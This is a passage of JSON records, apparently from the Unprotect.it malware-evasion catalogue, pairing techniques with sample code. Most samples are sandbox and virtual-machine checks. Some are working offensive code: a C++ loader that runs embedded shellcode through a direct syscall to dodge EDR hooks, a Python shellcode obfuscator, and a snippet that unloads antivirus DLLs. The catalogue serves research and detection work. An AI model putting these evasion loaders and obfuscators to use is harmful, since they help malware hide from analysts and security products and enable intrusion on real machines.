            "plain_code": "#include <Windows.h>\r\n#include <iostream>\r\n#include <io.h>\r\n\r\n// win api\r\nconst bool IsDirectory2(std::string& strDirName) {\r\n\tconst auto iCode = CreateDirectoryA(strDirName.c_str(), NULL);\r\n\tif (ERROR_ALREADY_EXISTS == GetLastError())\r\n\t\treturn true;\r\n\tif (iCode)\r\n\t\tRemoveDirectoryA(strDirName.c_str());\r\n\treturn false;\r\n}\r\n\r\n// win api\r\nconst bool IsDirectory1(std::string& strDirName) {\r\n\tconst HANDLE hFile = CreateFileA(\r\n\t\tstrDirName.c_str(),\r\n\t\tGENERIC_READ,                   \r\n\t\t0,                              \r\n\t\tNULL,\r\n\t\tOPEN_EXISTING,                  \r\n\t\tFILE_FLAG_BACKUP_SEMANTICS,     \r\n\t\tNULL);\r\n\tif (!hFile || (INVALID_HANDLE_VALUE == hFile))\r\n\t\treturn false;\r\n\tif(hFile)\r\n\t\tCloseHandle(hFile);\r\n\treturn true;\r\n}\r\n\r\n// crt\r\nconst bool IsDirectory(std::string& strDirName) {\r\n\tif (0 == _access(strDirName.c_str(), 0))\r\n\t\treturn true;\r\n\treturn false;\r\n}\r\n\r\nint main()\r\n{\r\n\tstd::string strDirName = \"C:\\\\Cuckoo\";\r\n\tif (IsDirectory(strDirName)) {\r\n\t\tstd::cout << \"Ture: \" << strDirName.c_str() << std::endl;\r\n\t}\r\n\telse {\r\n\t\tstd::cout << \"Flase: \" << strDirName.c_str() << std::endl;\r\n\t}\r\n\r\n\tif (IsDirectory1(strDirName)) {\r\n\t\tstd::cout << \"Ture: \" << strDirName.c_str() << std::endl;\r\n\t}\r\n\telse {\r\n\t\tstd::cout << \"Flase: \" << strDirName.c_str() << std::endl;\r\n\t}\r\n\r\n\tif (IsDirectory2(strDirName)) {\r\n\t\tstd::cout << \"Ture: \" << strDirName.c_str() << std::endl;\r\n\t}\r\n\telse {\r\n\t\tstd::cout << \"Flase: \" << strDirName.c_str() << std::endl;\r\n\t}\r\n\r\n\r\n\treturn 0;\r\n}"
        },
        {
            "id": 195,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 27,
                "name": "一半人生",
                "email": null,
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": "https://github.com/TimelifeCzy"
            },
            "technique": "https://unprotect.it/api/techniques/24/?format=api",
            "description": "This C++ program uses the Windows and Intel intrinsic headers to check if it's running in a Microsoft Hyper-V virtual environment. It defines a union called CpuFeaturesEcx, which is used to map out the CPU features reported by the cpuid instruction, specifically the contents of the ECX register. These include various instruction sets, such as SSE3, SMX, and AESNI.\r\n\r\nThe function IsHyperV() uses the __cpuid function intrinsic to get the processor features and checks for the existence of Hyper-V by examining the hypervisor brand identification reported by cpuid with the leaf parameter 0x40000001. If the returned value is more than or equal to 4000, it indicates the presence of Hyper-V.\r\n\r\nIn the main() function, it calls the IsHyperV() function and outputs whether the current environment is a Hyper-V or not. If IsHyperV() returns true, it prints \"Hyper-V True\"; otherwise, it prints \"Hyper-V False\".",
            "plain_code": "#include <Windows.h>\r\n#include <iostream>\r\n#include <intrin.h>\r\n\r\n/// See: Feature Information Returned in the ECX Register\r\nunion CpuFeaturesEcx {\r\n    ULONG32 all;\r\n    struct {\r\n        ULONG32 sse3 : 1;       //!< [0] Streaming SIMD Extensions 3 (SSE3)\r\n        ULONG32 pclmulqdq : 1;  //!< [1] PCLMULQDQ\r\n        ULONG32 dtes64 : 1;     //!< [2] 64-bit DS Area\r\n        ULONG32 monitor : 1;    //!< [3] MONITOR/WAIT\r\n        ULONG32 ds_cpl : 1;     //!< [4] CPL qualified Debug Store\r\n        ULONG32 vmx : 1;        //!< [5] Virtual Machine Technology\r\n        ULONG32 smx : 1;        //!< [6] Safer Mode Extensions\r\n        ULONG32 est : 1;        //!< [7] Enhanced Intel Speedstep Technology\r\n        ULONG32 tm2 : 1;        //!< [8] Thermal monitor 2\r\n        ULONG32 ssse3 : 1;      //!< [9] Supplemental Streaming SIMD Extensions 3\r\n        ULONG32 cid : 1;        //!< [10] L1 context ID\r\n        ULONG32 sdbg : 1;       //!< [11] IA32_DEBUG_INTERFACE MSR\r\n        ULONG32 fma : 1;        //!< [12] FMA extensions using YMM state\r\n        ULONG32 cx16 : 1;       //!< [13] CMPXCHG16B\r\n        ULONG32 xtpr : 1;       //!< [14] xTPR Update Control\r\n        ULONG32 pdcm : 1;       //!< [15] Performance/Debug capability MSR\r\n        ULONG32 reserved : 1;   //!< [16] Reserved\r\n        ULONG32 pcid : 1;       //!< [17] Process-context identifiers\r\n        ULONG32 dca : 1;        //!< [18] prefetch from a memory mapped device\r\n        ULONG32 sse4_1 : 1;     //!< [19] SSE4.1\r\n        ULONG32 sse4_2 : 1;     //!< [20] SSE4.2\r\n        ULONG32 x2_apic : 1;    //!< [21] x2APIC feature\r\n        ULONG32 movbe : 1;      //!< [22] MOVBE instruction\r\n        ULONG32 popcnt : 1;     //!< [23] POPCNT instruction\r\n        ULONG32 reserved3 : 1;  //!< [24] one-shot operation using a TSC deadline\r\n        ULONG32 aes : 1;        //!< [25] AESNI instruction\r\n        ULONG32 xsave : 1;      //!< [26] XSAVE/XRSTOR feature\r\n        ULONG32 osxsave : 1;    //!< [27] enable XSETBV/XGETBV instructions\r\n        ULONG32 avx : 1;        //!< [28] AVX instruction extensions\r\n        ULONG32 f16c : 1;       //!< [29] 16-bit floating-point conversion\r\n        ULONG32 rdrand : 1;     //!< [30] RDRAND instruction\r\n        ULONG32 not_used : 1;   //!< [31] Always 0 (a.k.a. HypervisorPresent)\r\n    } fields;\r\n};\r\nstatic_assert(sizeof(CpuFeaturesEcx) == 4, \"Size check\");\r\n\r\nconst bool IsHyperV()\r\n{\r\n\tint cpu_info[4] = {};\r\n\t__cpuid(cpu_info, 1);\r\n\tconst CpuFeaturesEcx cpu_features = { static_cast<ULONG_PTR>(cpu_info[2]) };\r\n    __cpuid(cpu_info, 0x40000001);\r\n    DWORD vid = 0;\r\n    vid = (DWORD)cpu_info[0];\r\n    return (vid >= 4000);\r\n}\r\n\r\nint main()\r\n{\r\n    if (IsHyperV()) {\r\n        std::cout << \"Hyper-v Ture\" << std::endl;\r\n    }\r\n    else {\r\n        std::cout << \"Hyper-v Flase\" << std::endl;\r\n    }\r\n    return 0;\r\n}"
        },
        {
            "id": 194,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 26,
                "name": "ghost_pepper108",
                "email": null,
                "linkedin": null,
                "twitter": "https://twitter.com/@ghost_pepper108",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/352/?format=api",
            "description": "Additional details here: \r\nhttps://github.com/fr0gger/Unprotect_Submission/tree/c105bf119d923d8c5b44e26527fa6bbaf6a02699/techniques/EvasionUsingSyscall",
            "plain_code": "//x86_64-w64-mingw32-g++ main.cpp -masm=intel -O0 -o direct_syscalls.exe\r\n// credit to GhostPepper for the original PoC here: https://github.com/ghostpepper108/Evasion\r\n// This is Steve (@tribouletx) version using inline assembly\r\n\r\n#include <windows.h>\r\n#include <stdio.h>\r\n\r\nBYTE payload[] =   \r\n\t\"\\x90\\x90\\x90\\x90\\x58\" // these get clobbered by syscall\r\n\t\"\\x48\\x31\\xff\\x48\\xf7\\xe7\\x65\\x48\\x8b\\x58\\x60\\x48\\x8b\\x5b\\x18\\x48\\x8b\\x5b\\x20\\x48\\x8b\\x1b\\x48\\x8b\\x1b\\x48\\x8b\\x5b\\x20\\x49\\x89\\xd8\\x8b\"\r\n    \"\\x5b\\x3c\\x4c\\x01\\xc3\\x48\\x31\\xc9\\x66\\x81\\xc1\\xff\\x88\\x48\\xc1\\xe9\\x08\\x8b\\x14\\x0b\\x4c\\x01\\xc2\\x4d\\x31\\xd2\\x44\\x8b\\x52\\x1c\\x4d\\x01\\xc2\"\r\n    \"\\x4d\\x31\\xdb\\x44\\x8b\\x5a\\x20\\x4d\\x01\\xc3\\x4d\\x31\\xe4\\x44\\x8b\\x62\\x24\\x4d\\x01\\xc4\\xeb\\x32\\x5b\\x59\\x48\\x31\\xc0\\x48\\x89\\xe2\\x51\\x48\\x8b\"\r\n    \"\\x0c\\x24\\x48\\x31\\xff\\x41\\x8b\\x3c\\x83\\x4c\\x01\\xc7\\x48\\x89\\xd6\\xf3\\xa6\\x74\\x05\\x48\\xff\\xc0\\xeb\\xe6\\x59\\x66\\x41\\x8b\\x04\\x44\\x41\\x8b\\x04\"\r\n    \"\\x82\\x4c\\x01\\xc0\\x53\\xc3\\x48\\x31\\xc9\\x80\\xc1\\x07\\x48\\xb8\\x0f\\xa8\\x96\\x91\\xba\\x87\\x9a\\x9c\\x48\\xf7\\xd0\\x48\\xc1\\xe8\\x08\\x50\\x51\\xe8\\xb0\"\r\n    \"\\xff\\xff\\xff\\x49\\x89\\xc6\\x48\\x31\\xc9\\x48\\xf7\\xe1\\x50\\x48\\xb8\\x9c\\x9e\\x93\\x9c\\xd1\\x9a\\x87\\x9a\\x48\\xf7\\xd0\\x50\\x48\\x89\\xe1\\x48\\xff\\xc2\"\r\n    \"\\x48\\x83\\xec\\x20\\x41\\xff\\xd6\\x41\\xFF\\xE7\";\r\n\r\nint main(){\r\n\t\r\n\t// Get current process handle\r\n\tHANDLE hProcess = GetCurrentProcess();\r\n\t\r\n\t// Get payload address\r\n\tPVOID baseAddress = payload;\r\n\t\r\n\t// Get region size\r\n\tSIZE_T regionSize = sizeof(payload);\r\n\t\r\n\t// Print messages\r\n\tprintf(\"Address of baseAddress: %p\\n\", &baseAddress);\r\n\tprintf(\"baseAddress: %p\\n\", baseAddress);\r\n\t\r\n\t// oldProtect, putting this variable inside of main() allocates it on the stack\r\n\t// putting this variable before the inline assembly ensures that it gets passed\r\n\t// to our syscall as the 5th variable to our syscall per the x86_64 convention\r\n\tSIZE_T oldProtect = 0x40;\r\n\t\r\n\t// Call NtProtectVirtualProtect\r\n\tasm(\"mov rcx, %0;\" :: \"m\" (hProcess));\r\n\tasm(\"mov rdx, %0;\" :: \"r\" (&baseAddress));\r\n\tasm(\"mov r8, %0;\" :: \"r\" (&regionSize));\r\n\tasm(\"lea r9, [%0];\" :: \"r\" (PAGE_EXECUTE_READWRITE));\r\n\tasm(\"mov r10,rcx;\"\r\n\t\t\"mov rax, 0x50;\" // syscall number for NtProtectVirtualMemory\r\n\t\t\"syscall\");\r\n\t\r\n\t// Jmp here\r\n\tasm(\"return_main:;\");\r\n\t\r\n\t// Jmp to payload, this works because our payload never touches r15\r\n\tasm(\"lea r15, [rip + return_main_2];\"\r\n\t\t\"jmp rax;\"\r\n\t\t:: \"r\" (baseAddress));\r\n\t\r\n\t// Payload returns here\r\n\tasm(\"return_main_2:\");\r\n\t\r\n\tprintf(\"Sayonara!\\n\");\r\n\t\r\n\treturn 0;\r\n}"
        },
        {
            "id": 193,
            "language": {
                "id": 4,
                "label": "Golang",
                "code_class": "golang"
            },
            "author": {
                "id": 25,
                "name": "Edode",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/clisandro",
                "twitter": "https://twitter.com/Edode_",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/151/?format=api",
            "description": "",
            "plain_code": "package main\r\n\r\nimport (\r\n\t\"fmt\"\r\n\t\"golang.org/x/sys/windows\"\r\n\t\"syscall\"\r\n\t\"unsafe\"\r\n)\r\n\r\nvar (\r\n\tuser32 = windows.NewLazySystemDLL(\"user32.dll\")\r\n\t// https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getwindowtextw\r\n\tprocGetWindowText = user32.NewProc(\"GetWindowTextW\")\r\n\t// https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getwindowtextlengthw\r\n\tprocGetWindowTextL = user32.NewProc(\"GetWindowTextLengthW\")\r\n)\r\n\r\nfunc getWindowTextLength(windowHandle windows.HWND) int {\r\n\tret, _, _ := procGetWindowTextL.Call(uintptr(windowHandle))\r\n\r\n\treturn int(ret)\r\n}\r\n\r\nfunc getWindowName(fg windows.HWND) string {\r\n\t// +1 to get the last character of the string\r\n\tvar titleBarFullLen = int(getWindowTextLength(fg)) + 1\r\n\r\n\tbuf := make([]uint16, titleBarFullLen)\r\n\tprocGetWindowText.Call(\r\n\t\tuintptr(fg),\r\n\t\tuintptr(unsafe.Pointer(&buf[0])),\r\n\t\tuintptr(titleBarFullLen))\r\n\r\n\treturn syscall.UTF16ToString(buf)\r\n}\r\n\r\nfunc main() {\r\n\tvar foregroundWindowHandle windows.HWND = windows.GetForegroundWindow()\r\n\tvar windowName string = getWindowName(foregroundWindowHandle)\r\n\r\n\tfmt.Println(\"Foreground window handle: \", foregroundWindowHandle)\r\n\tfmt.Println(\"Window name: \", windowName)\r\n}"
        },
        {
            "id": 192,
            "language": {
                "id": 4,
                "label": "Golang",
                "code_class": "golang"
            },
            "author": {
                "id": 25,
                "name": "Edode",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/clisandro",
                "twitter": "https://twitter.com/Edode_",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/37/?format=api",
            "description": "",
            "plain_code": "package main\r\n\r\nimport (\r\n\t\"fmt\"\r\n\t\"golang.org/x/sys/windows/registry\"\r\n)\r\n\r\nvar (\r\n\tregistryKey = `SYSTEM\\CurrentControlSet\\Control\\Print\\Printers`\r\n)\r\n\r\nfunc getPrintersName() {\r\n\tnewKey, err := registry.OpenKey(registry.LOCAL_MACHINE, registryKey, registry.ENUMERATE_SUB_KEYS)\r\n\tif err != nil {\r\n\t\tfmt.Println(\"Error: \", err)\r\n\t\tpanic(err)\r\n\t}\r\n\r\n\tsubKeyNames, err := newKey.ReadSubKeyNames(-1)\r\n\tif err != nil {\r\n\t\tfmt.Println(\"Error: \", err)\r\n\t\tpanic(err)\r\n\t}\r\n\r\n\tfor i, subKeyName := range subKeyNames {\r\n\t\tfmt.Printf(\"[%d] %s \\n\", i, subKeyName)\r\n\t}\r\n}\r\n\r\nfunc getPrinterCount() {\r\n\tkey, err := registry.OpenKey(registry.LOCAL_MACHINE, registryKey, registry.QUERY_VALUE)\r\n\tif err != nil {\r\n\t\tfmt.Println(\"Error = \", err)\r\n\t\tkey.Close()\r\n\t\tpanic(err)\r\n\t}\r\n\tdefer key.Close()\r\n\r\n\tkeyStat, err := key.Stat()\r\n\tif err != nil {\r\n\t\tfmt.Println(\"Error = \", err)\r\n\t\tpanic(err)\r\n\t}\r\n\tfmt.Println(\"Subkey count = \", keyStat.SubKeyCount)\r\n}\r\n\r\nfunc main() {\r\n\tgetPrinterCount()\r\n\tgetPrintersName()\r\n}"
        },
        {
            "id": 191,
            "language": {
                "id": 4,
                "label": "Golang",
                "code_class": "golang"
            },
            "author": {
                "id": 25,
                "name": "Edode",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/clisandro",
                "twitter": "https://twitter.com/Edode_",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/348/?format=api",
            "description": "The provided code is designed to differentiate between a sandbox environment and a genuine user workspace by monitoring user clicks and idle time. It achieves this by incrementing a click count variable upon detecting a left or right click, and comparing the elapsed idle time to a predefined maximum threshold. If the total number of clicks is below a specified minimum or the idle time surpasses the maximum limit, the code identifies the environment as a sandbox. Otherwise, it recognizes the presence of a legitimate user.",
            "plain_code": "package main\r\n\r\nimport (\r\n\t\"fmt\"\r\n\t\"syscall\"\r\n\t\"time\"\r\n)\r\n\r\nvar (\r\n\tuser32           = syscall.NewLazyDLL(\"user32.dll\")\r\n\tgetAsyncKeyState = user32.NewProc(\"GetAsyncKeyState\")\r\n)\r\n\r\nfunc evadeClicksCount() {\r\n\t// Increment variable when a click is detected\r\n\tvar clickCount int\r\n\t// Set the minimal number of clicks to be detected\r\n\tvar minimalClickCount = 10\r\n\t// Set the maximum idle time in seconds\r\n\tvar maxIdleTime = 120\r\n\tvar t time.Time = time.Now()\r\n\r\n\tfor clickCount <= minimalClickCount {\r\n\t\tleftClick, _, _ := getAsyncKeyState.Call(uintptr(0x1))\r\n\t\trightClick, _, _ := getAsyncKeyState.Call(uintptr(0x2))\r\n\t\t// Check if a click is detected\r\n\t\tif leftClick%2 == 1 || rightClick%2 == 1 {\r\n\t\t\tclickCount += 1\r\n\t\t\tt = time.Now()\r\n\t\t}\r\n\r\n\t\tif int(time.Since(t).Seconds()) > maxIdleTime {\r\n\t\t\tfmt.Println(\"Sandbox Detected !\")\r\n\t\t}\r\n\t}\r\n\tfmt.Println(\"Legitimate user detected !\")\r\n}\r\n\r\nfunc main() {\r\n\tevadeClicksCount()\r\n}"
        },
        {
            "id": 190,
            "language": {
                "id": 4,
                "label": "Golang",
                "code_class": "golang"
            },
            "author": {
                "id": 25,
                "name": "Edode",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/clisandro",
                "twitter": "https://twitter.com/Edode_",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/31/?format=api",
            "description": "",
            "plain_code": "package main\r\n\r\nimport (\r\n\t\"fmt\"\r\n\t\"syscall\"\r\n\t\"time\"\r\n)\r\n\r\nvar (\r\n\tuser32               = syscall.NewLazyDLL(\"user32.dll\")\r\n\tprocGetSystemMetrics = user32.NewProc(\"GetSystemMetrics\")\r\n)\r\n\r\nfunc getScreenResolution() {\r\n\tindexX := uintptr(0)\r\n\tindexY := uintptr(1)\r\n\tx, _, _ := procGetSystemMetrics.Call(indexX)\r\n\ty, _, _ := procGetSystemMetrics.Call(indexY)\r\n\tfmt.Println(\"X = \", x, \" Y = \", y)\r\n\t// Modify the screen size as you want !\r\n\tif x < 1024 || y < 768 {\r\n\t\tfmt.Println(\"Sandbox Detected !\")\r\n\t}\r\n}\r\n\r\nfunc main() {\r\n\tgetScreenResolution()\r\n\ttime.Sleep(time.Second * 10)\r\n}\r\nFooter\r\n© 2023 GitHub,"
        },
        {
            "id": 189,
            "language": {
                "id": 4,
                "label": "Golang",
                "code_class": "golang"
            },
            "author": {
                "id": 25,
                "name": "Edode",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/clisandro",
                "twitter": "https://twitter.com/Edode_",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/33/?format=api",
            "description": "",
            "plain_code": "package main\r\n\r\nimport (\r\n\t\"unsafe\"\r\n\t\"syscall\"\r\n\t\"fmt\"\r\n)\r\n\r\nvar (\r\n\tkernel_32               = syscall.MustLoadDLL(\"kernel32.dll\")\r\n\tglobalMemoryStatusEx, _ = kernel_32.FindProc(\"GlobalMemoryStatusEx\")\r\n)\r\n\r\ntype memStatusEx struct {\r\n\tdwLength     uint32\r\n\tdwMemoryLoad uint32\r\n\tullTotalPhys uint64\r\n\tunused       [6]uint64\r\n}\r\n\r\nfunc evadeSystemMemory() () {\r\n\tmsx := &memStatusEx{dwLength: 64}\r\n\tr, _, _ := globalMemoryStatusEx.Call(uintptr(unsafe.Pointer(msx)))\r\n\tif r == 0 {\r\n\t\tfmt.Println(\"Error getting memory status\")\r\n\t}\r\n\r\n\tvar maxMemory float64 = 2.0\r\n\tvar system_memory = float64(msx.ullTotalPhys/1024/1024) / 1024\r\n\r\n\tif system_memory <= maxMemory {\r\n\t\tfmt.Println(\"Sandbox detected\")\r\n\t} else {\r\n\t\tfmt.Println(\"Sandbox not detected\")\r\n\t}\r\n}\r\n\r\nfunc main() {\r\n\tevadeSystemMemory()\r\n}"
        },
        {
            "id": 188,
            "language": {
                "id": 3,
                "label": "Python",
                "code_class": "python"
            },
            "author": {
                "id": 24,
                "name": "Abhijeet Kumar",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/abhijeet-secops",
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/100/?format=api",
            "description": "This script encodes a given plaintext shellcode using a combination of XOR, ADD, SUB, ROL, and ROR operations with a randomly generated key. The purpose of the encoding is to make the shellcode more difficult to detect and analyze.",
            "plain_code": "#!/usr/bin/env python3\r\n# Original Source: https://github.com/wand3rlust/Niernen\r\n\r\nimport random\r\n\r\n#Encode shellcode using XOR, ADD, SUB, ROL, and ROR\r\ndef encode_shellcode(shellcode, key):\r\n    encoded_shellcode = bytearray()\r\n    for i, byte in enumerate(shellcode):\r\n        #XOR\r\n        xored_byte = byte ^ key[i % len(key)]\r\n        #ADD\r\n        added_byte = (xored_byte + key[(i + 1) % len(key)]) % 256\r\n        #SUB\r\n        subbed_byte = (added_byte - key[(i + 2) % len(key)]) % 256\r\n        #ROL\r\n        rolled_byte = ((subbed_byte << 1) | (subbed_byte >> 7)) % 256\r\n        #ROR\r\n        ror_byte = ((rolled_byte >> 1) | (rolled_byte << 7)) % 256\r\n        encoded_shellcode.append(ror_byte)\r\n    return bytes(encoded_shellcode)\r\n\r\n\r\n#Generate a random key of given length and convert it into bytes\r\ndef generate_key(length):\r\n    return bytes([random.randint(0, 255) for i in range(length)])\r\n\r\n\r\nplaintext_shellcode = input(\"\\nEnter plaintext shellcode: \")\r\n#Encode the user unput into UTF-8 and change from string to byte\r\nshellcode = plaintext_shellcode.encode()\r\n#Generate same length key as shellcode hex\r\nkey = generate_key(len(shellcode))\r\n#Call encode_shellcode function with 2 arguments i.e, UTF-8 shellcode and key\r\nencoded_shellcode = encode_shellcode(shellcode, key)\r\nprint(\"\\nOriginal shellcode (in hex): \", shellcode.hex())\r\nprint(\"\\nKey (in hex): \", key.hex())\r\nprint(\"\\nEncoded shellcode (in hex): \", encoded_shellcode.hex())\r\n#Convert byte format to string\r\nencoded_shellcode = encoded_shellcode.hex()\r\n#Append \\x after every 2nd character\r\nencoded_shellcode = \"\\\\x\" + \"\\\\x\".join(encoded_shellcode[i:i + 2] for i in range(0, len(encoded_shellcode), 2))\r\nprint(\"\\nEncoded shellcode (with \\\\x): \", encoded_shellcode)\r\nprint(\"\\n\")"
        },
        {
            "id": 187,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 2,
                "name": "Thomas Roccia",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/33/?format=api",
            "description": "This code uses the MEMORYSTATUSEX structure and the GlobalMemoryStatusEx function from the Windows API to retrieve information about the system's memory status, including the total physical memory and the available physical memory.",
            "plain_code": "#include <windows.h>\r\n#include <iostream>\r\n\r\nint main() {\r\n    MEMORYSTATUSEX memInfo;\r\n    memInfo.dwLength = sizeof(MEMORYSTATUSEX);\r\n    GlobalMemoryStatusEx(&memInfo);\r\n\r\n    std::cout << \"Total physical memory: \" << memInfo.ullTotalPhys / 1024 / 1024 << \" MB\\n\";\r\n    std::cout << \"Available physical memory: \" << memInfo.ullAvailPhys / 1024 / 1024 << \" MB\\n\";\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 186,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 2,
                "name": "Thomas Roccia",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/36/?format=api",
            "description": "This code uses the GetLogicalDrives function to retrieve a bitmask of all available drives on the system, and the GetDriveTypeA function to check if each drive is removable. If a removable drive is detected, the code prints its drive letter to the console.",
            "plain_code": "#include <windows.h>\r\n\r\nint main() {\r\n    UINT drives = GetLogicalDrives();\r\n    for (int i = 0; i < 26; i++) {\r\n        if ((drives & (1 << i)) && GetDriveTypeA((char)('A' + i) + \":\\\\\") == DRIVE_REMOVABLE) {\r\n            printf(\"USB drive detected: %c:\\n\", 'A' + i);\r\n        }\r\n    }\r\n    return 0;\r\n}"
        },
        {
            "id": 185,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 2,
                "name": "Thomas Roccia",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/37/?format=api",
            "description": "This code uses the Windows API function `EnumPrinters` to enumerate the local printers installed on the system. If `EnumPrinters` is successful, the code prints the number of printers found and their names.",
            "plain_code": "#include <windows.h>\r\n#include <winspool.h>\r\n\r\nint main() {\r\n    DWORD numPrinters;\r\n    PRINTER_INFO_2* printerInfo;\r\n    if (EnumPrinters(PRINTER_ENUM_LOCAL, NULL, 2, NULL, 0, &numPrinters, NULL)) {\r\n        printerInfo = (PRINTER_INFO_2*) malloc(numPrinters * sizeof(PRINTER_INFO_2));\r\n        if (EnumPrinters(PRINTER_ENUM_LOCAL, NULL, 2, (LPBYTE) printerInfo, numPrinters * sizeof(PRINTER_INFO_2), &numPrinters, NULL)) {\r\n            printf(\"Number of printers found: %d\\n\", numPrinters);\r\n            // Print the names of the printers\r\n            for (DWORD i = 0; i < numPrinters; i++) {\r\n                printf(\"%s\\n\", printerInfo[i].pPrinterName);\r\n            }\r\n        }\r\n        free(printerInfo);\r\n    }\r\n    return 0;\r\n}"
        },
        {
            "id": 184,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 23,
                "name": "West Wind",
                "email": null,
                "linkedin": null,
                "twitter": "https://twitter.com/Praetorian_GRD",
                "website": "https://subtlystoic.medium.com/",
                "github": "https://github.com/west-wind"
            },
            "technique": "https://unprotect.it/api/techniques/341/?format=api",
            "description": "This code demonstrates how the `GetModuleHandleA` and `FreeLibrary` functions can be used to unload a DLL from a process's memory. \r\n\r\n- `GetModuleHandleA` retrieves a handle to a module (such as a DLL) that is already loaded.\r\n- `FreeLibrary` frees a loaded DLL from the process's memory.\r\n\r\nThis technique can be used maliciously to unload security-related DLLs used by antivirus or EDR solutions. As such, it is important to use such code ethically and responsibly, within the bounds of the law and ethical considerations.",
            "plain_code": "#include <windows.h>\r\n\r\nint main()\r\n{\r\n  HMODULE hLibModule = GetModuleHandleA(\"av_edr_dllName.dll\");\r\n  FreeLibrary(hLibModule);\r\n  return 0;\r\n}"
        },
        {
            "id": 183,
            "language": {
                "id": 3,
                "label": "Python",
                "code_class": "python"
            },
            "author": {
                "id": 2,
                "name": "Thomas Roccia",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/101/?format=api",
            "description": "This code snippet demonstrates a basic geofencing concept using Python. It checks if a target location (given by latitude and longitude coordinates) is within a specified radius (in kilometers) from a central point.",
            "plain_code": "from geopy import Point\r\nfrom geopy.distance import great_circle\r\n\r\ndef is_within_geofence(target_lat, target_lon, center_lat, center_lon, radius_km):\r\n    center_point = Point(center_lat, center_lon)\r\n    target_point = Point(target_lat, target_lon)\r\n\r\n    distance = great_circle(center_point, target_point).km\r\n\r\n    return distance <= radius_km\r\n\r\n# Example usage\r\ntarget_latitude = 40.7128\r\ntarget_longitude = -74.0060\r\n\r\ncenter_latitude = 40.730610\r\ncenter_longitude = -73.935242\r\n\r\nradius = 5  # 5 km\r\n\r\nif is_within_geofence(target_latitude, target_longitude, center_latitude, center_longitude, radius):\r\n    print(\"Target is within the geofence.\")\r\nelse:\r\n    print(\"Target is outside the geofence.\")"
        },
        {
            "id": 182,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 18,
                "name": "Alex Schwarz",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/alex-schwarz",
                "twitter": null,
                "website": null,
                "github": "https://github.com/AlSch092"
            },
            "technique": "https://unprotect.it/api/techniques/340/?format=api",
            "description": "This code is an example of using the AddVectoredExceptionHandler function to register a top-level exception handler in a Windows program. The goal of this handler is to detect the presence of VEH (Vectored Exception Handler) debuggers, which can be used to step through code and inspect the program's memory.\r\n\r\nThe main function of the code calls the AddVectoredExceptionHandler function, which registers the TopLevelHandler function as the top-level exception handler. The first parameter to AddVectoredExceptionHandler is 1, which means that this handler will be the first one to be called.\r\n\r\nThe TopLevelHandler function takes an EXCEPTION_POINTERS pointer as its parameter, which contains information about the exception that was raised. If the exception code is EXCEPTION_SINGLE_STEP, this means that a VEH debugger has single-stepped through the code, and the CaughtVEHDebugger flag is set to true.\r\n\r\nFinally, the main function prints whether the VEH debugger was caught or not based on the value of the CaughtVEHDebugger flag. If the flag is true, this means that a VEH debugger was detected, and the program prints \"Caught VEH debugger: true\". If the flag is false, this means that no VEH debugger was detected, and the program prints \"Caught VEH debugger: false\".",
            "plain_code": "//github: alsch092\r\n#include <windows.h>\r\n#include <stdio.h>\r\n\r\nbool CaughtVEHDebugger = false;\r\n\r\nLONG CALLBACK TopLevelHandler(EXCEPTION_POINTERS* info)\r\n{\r\n    if (info->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) //Detects when a VEH debugger single-steps through code\r\n        CaughtVEHDebugger = true;\r\n\r\n    printf(\"Executed toplevelhandler, Exception: %X\\n\", info->ExceptionRecord->ExceptionCode); //print any other exceptions we encounter\r\n    return EXCEPTION_CONTINUE_SEARCH;\r\n}\r\n\r\nint main()\r\n{\r\n    AddVectoredExceptionHandler(1, TopLevelHandler);\r\n\r\n    if (CaughtVEHDebugger)\r\n        printf(\"Caught VEH debugger: %s\\n\", ((CaughtVEHDebugger > 0) ? \"true\" : \"false\"));\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 181,
            "language": {
                "id": 2,
                "label": "C++",
